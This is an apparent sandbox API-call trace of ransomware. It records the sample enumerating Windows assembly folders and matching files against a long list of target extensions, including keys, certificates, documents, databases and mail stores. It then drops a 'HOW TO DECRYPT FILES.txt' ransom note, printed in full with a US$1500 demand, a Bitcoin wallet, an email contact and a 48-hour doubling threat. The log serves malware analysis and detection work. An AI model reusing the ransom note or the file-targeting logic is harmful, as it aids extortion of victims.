PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.pfx") returned 0 [0109.041] lstrlenA (lpString="*.pfx") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.pem") returned 0 [0109.042] lstrlenA (lpString="*.pem") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.p12") returned 0 [0109.042] lstrlenA (lpString="*.p12") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.gpg") returned 0 [0109.042] lstrlenA (lpString="*.gpg") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.vsd") returned 0 [0109.042] lstrlenA (lpString="*.vsd") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.odg") returned 0 [0109.042] lstrlenA (lpString="*.odg") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.raw") returned 0 [0109.042] lstrlenA (lpString="*.raw") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.nef") returned 0 [0109.042] lstrlenA (lpString="*.nef") returned 5 [0109.042] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.svg") returned 0 [0109.043] lstrlenA (lpString="*.svg") returned 5 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.psd") returned 0 [0109.043] lstrlenA (lpString="*.psd") returned 5 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.vmx") returned 0 [0109.043] lstrlenA (lpString="*.vmx") returned 5 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.vmdk") returned 0 [0109.043] lstrlenA (lpString="*.vmdk") returned 6 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.vdi") returned 0 [0109.043] lstrlenA (lpString="*.vdi") returned 5 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.lay6") returned 0 [0109.043] lstrlenA (lpString="*.lay6") returned 6 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mpeg") returned 0 [0109.043] lstrlenA (lpString="*.mpeg") returned 6 [0109.043] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.djvu") returned 0 [0109.044] lstrlenA (lpString="*.djvu") returned 6 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.tiff") returned 0 [0109.044] lstrlenA (lpString="*.tiff") returned 6 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.backup") returned 0 [0109.044] lstrlenA (lpString="*.backup") returned 8 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.pdf") returned 0 [0109.044] lstrlenA (lpString="*.pdf") returned 5 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.cert") returned 0 [0109.044] lstrlenA (lpString="*.cert") returned 6 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.docm") returned 0 [0109.044] lstrlenA (lpString="*.docm") returned 6 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.xlsm") returned 0 [0109.044] lstrlenA (lpString="*.xlsm") returned 6 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.dwg") returned 0 [0109.044] lstrlenA (lpString="*.dwg") returned 5 [0109.044] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.nd") returned 0 [0109.044] lstrlenA (lpString="*.nd") returned 4 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.tlg") returned 0 [0109.045] lstrlenA (lpString="*.tlg") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.lgb") returned 0 [0109.045] lstrlenA (lpString="*.lgb") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mov") returned 0 [0109.045] lstrlenA (lpString="*.mov") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.xdw") returned 0 [0109.045] lstrlenA (lpString="*.xdw") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.ods") returned 0 [0109.045] lstrlenA (lpString="*.ods") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.wav") returned 0 [0109.045] lstrlenA (lpString="*.wav") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.mp3") returned 0 [0109.045] lstrlenA (lpString="*.mp3") returned 5 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.aiff") returned 0 [0109.045] lstrlenA (lpString="*.aiff") returned 6 [0109.045] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.flac") returned 0 [0109.046] lstrlenA (lpString="*.flac") returned 6 [0109.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.m4a") returned 0 [0109.046] lstrlenA (lpString="*.m4a") returned 5 [0109.046] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll", pszSpec="*.csv") returned 0 [0109.046] lstrlenA (lpString="*.csv") returned 5 [0109.046] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf55ddd0e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf55ddd0e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf55ddd0e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xae200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ConsoleHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.046] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.046] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb5d349f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b5a6a5ce3cd3d4dd2b151315c612aeff", cAlternateFileName="B5A6A5~1")) returned 1 [0109.046] lstrcmpA (lpString1=".", lpString2="b5a6a5ce3cd3d4dd2b151315c612aeff") returned -1 [0109.046] lstrcmpA (lpString1="..", lpString2="b5a6a5ce3cd3d4dd2b151315c612aeff") returned -1 [0109.046] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0109.046] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="b5a6a5ce3cd3d4dd2b151315c612aeff" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff" [0109.046] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff") returned 100 [0109.047] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb5d349f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.047] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.047] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb5d349f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.047] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.047] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.048] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5871de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5871de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5871de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x39e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.048] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.048] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.Security.ni.dll") returned -1 [0109.048] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.Security.ni.dll") returned -1 [0109.048] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.Security.ni.dll") returned -1 [0109.048] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\*.*") returned="*.*" [0109.048] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\" [0109.048] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\") returned="" [0109.048] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\HOW TO DECRYPT FILES.txt" [0109.048] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\how to decrypt files.txt")) returned 0xffffffff [0109.048] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.059] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.059] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.060] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.060] CloseHandle (hObject=0x90) returned 1 [0109.060] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\", lpString2="Microsoft.PowerShell.Security.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.ems") returned 0 [0109.061] lstrlenA (lpString="*.ems") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.db") returned 0 [0109.061] lstrlenA (lpString="*.db") returned 4 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.dbf") returned 0 [0109.061] lstrlenA (lpString="*.dbf") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.myox") returned 0 [0109.061] lstrlenA (lpString="*.myox") returned 6 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.myo") returned 0 [0109.061] lstrlenA (lpString="*.myo") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbw") returned 0 [0109.061] lstrlenA (lpString="*.qbw") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbb") returned 0 [0109.061] lstrlenA (lpString="*.qbb") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbm") returned 0 [0109.061] lstrlenA (lpString="*.qbm") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbo") returned 0 [0109.061] lstrlenA (lpString="*.qbo") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbx") returned 0 [0109.061] lstrlenA (lpString="*.qbx") returned 5 [0109.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qba") returned 0 [0109.061] lstrlenA (lpString="*.qba") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qby") returned 0 [0109.062] lstrlenA (lpString="*.qby") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qbj") returned 0 [0109.062] lstrlenA (lpString="*.qbj") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.ofx") returned 0 [0109.062] lstrlenA (lpString="*.ofx") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.qif") returned 0 [0109.062] lstrlenA (lpString="*.qif") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mye") returned 0 [0109.062] lstrlenA (lpString="*.mye") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mbox") returned 0 [0109.062] lstrlenA (lpString="*.mbox") returned 6 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.eml") returned 0 [0109.062] lstrlenA (lpString="*.eml") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.pst") returned 0 [0109.062] lstrlenA (lpString="*.pst") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.ost") returned 0 [0109.062] lstrlenA (lpString="*.ost") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.idx") returned 0 [0109.062] lstrlenA (lpString="*.idx") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.dbx") returned 0 [0109.062] lstrlenA (lpString="*.dbx") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.sql") returned 0 [0109.062] lstrlenA (lpString="*.sql") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mdb") returned 0 [0109.062] lstrlenA (lpString="*.mdb") returned 5 [0109.062] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.fdb") returned 0 [0109.063] lstrlenA (lpString="*.fdb") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.wab") returned 0 [0109.063] lstrlenA (lpString="*.wab") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.dat") returned 0 [0109.063] lstrlenA (lpString="*.dat") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.txt") returned 0 [0109.063] 